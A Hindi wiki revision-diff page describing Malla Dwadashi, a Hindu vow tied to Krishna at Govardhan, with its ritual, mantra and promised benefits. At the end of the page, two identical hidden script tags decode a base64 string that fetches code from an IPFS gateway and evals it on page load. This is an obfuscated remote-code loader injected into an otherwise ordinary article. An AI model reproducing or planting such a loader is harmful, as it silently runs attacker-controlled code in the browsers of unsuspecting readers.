"मल्ल द्वादशी": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
छो (मल्लद्वादशी का नाम बदलकर मल्ल द्वादशी कर दिया गया है) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(3 सदस्यों द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*मल्लद्वादशी मार्ग शुक्ल की द्वादशी को होता है। | *मल्लद्वादशी मार्ग शुक्ल की द्वादशी को होता है। | ||
*यह गोवर्धन पर्वत पर भाण्डीरवट के नीचे होता है। | *यह गोवर्धन पर्वत पर भाण्डीरवट के नीचे होता है। | ||
पंक्ति 6: | पंक्ति 6: | ||
*प्रत्येक द्वादशी पर एक वर्ष तक यह किया जाता है। | *प्रत्येक द्वादशी पर एक वर्ष तक यह किया जाता है। | ||
*इसका मन्त्र यह है–'कृष्ण मुझसे प्रसन्न रहें', इसे अरण्यद्वादशी भी कहा जाता है, क्योंकि गोपी एवं मल्ल लोग अरण्य (वन) में एक दूसरे को खाद्य पदार्थ देते हैं। | *इसका मन्त्र यह है–'कृष्ण मुझसे प्रसन्न रहें', इसे अरण्यद्वादशी भी कहा जाता है, क्योंकि गोपी एवं मल्ल लोग अरण्य (वन) में एक दूसरे को खाद्य पदार्थ देते हैं। | ||
*इस व्रत से स्वास्थ्य, शक्ति, धन एवं विष्णुलोक की प्राप्ति होती है।<ref>हेमाद्रि व्रत॰ (1, 1115-1117 | *इस व्रत से स्वास्थ्य, शक्ति, धन एवं विष्णुलोक की प्राप्ति होती है।<ref>हेमाद्रि व्रत॰ (1, 1115-1117</ref> | ||
{{ | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | |||
<references/> | |||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} | ||
[[Category:व्रत और उत्सव]] | [[Category:व्रत और उत्सव]] | ||
[[Category:पर्व_और_त्योहार]] | [[Category:पर्व_और_त्योहार]] | ||
[[Category:संस्कृति कोश]] | [[Category:संस्कृति कोश]] | ||
__INDEX__ | __INDEX__ |
12:56, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- मल्लद्वादशी मार्ग शुक्ल की द्वादशी को होता है।
- यह गोवर्धन पर्वत पर भाण्डीरवट के नीचे होता है।
- इस जगह यमुना के तटों पर श्री कृष्ण ने गोपों (जो पहलवान या मल्ल थे) एवं गोपियों के साथ लीला (रास लीला) की थी।
- मल्ल लोग पुष्पों, दूध, दही एवं खाद्य पदार्थों से पूजा करते हैं।
- प्रत्येक द्वादशी पर एक वर्ष तक यह किया जाता है।
- इसका मन्त्र यह है–'कृष्ण मुझसे प्रसन्न रहें', इसे अरण्यद्वादशी भी कहा जाता है, क्योंकि गोपी एवं मल्ल लोग अरण्य (वन) में एक दूसरे को खाद्य पदार्थ देते हैं।
- इस व्रत से स्वास्थ्य, शक्ति, धन एवं विष्णुलोक की प्राप्ति होती है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि व्रत॰ (1, 1115-1117
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>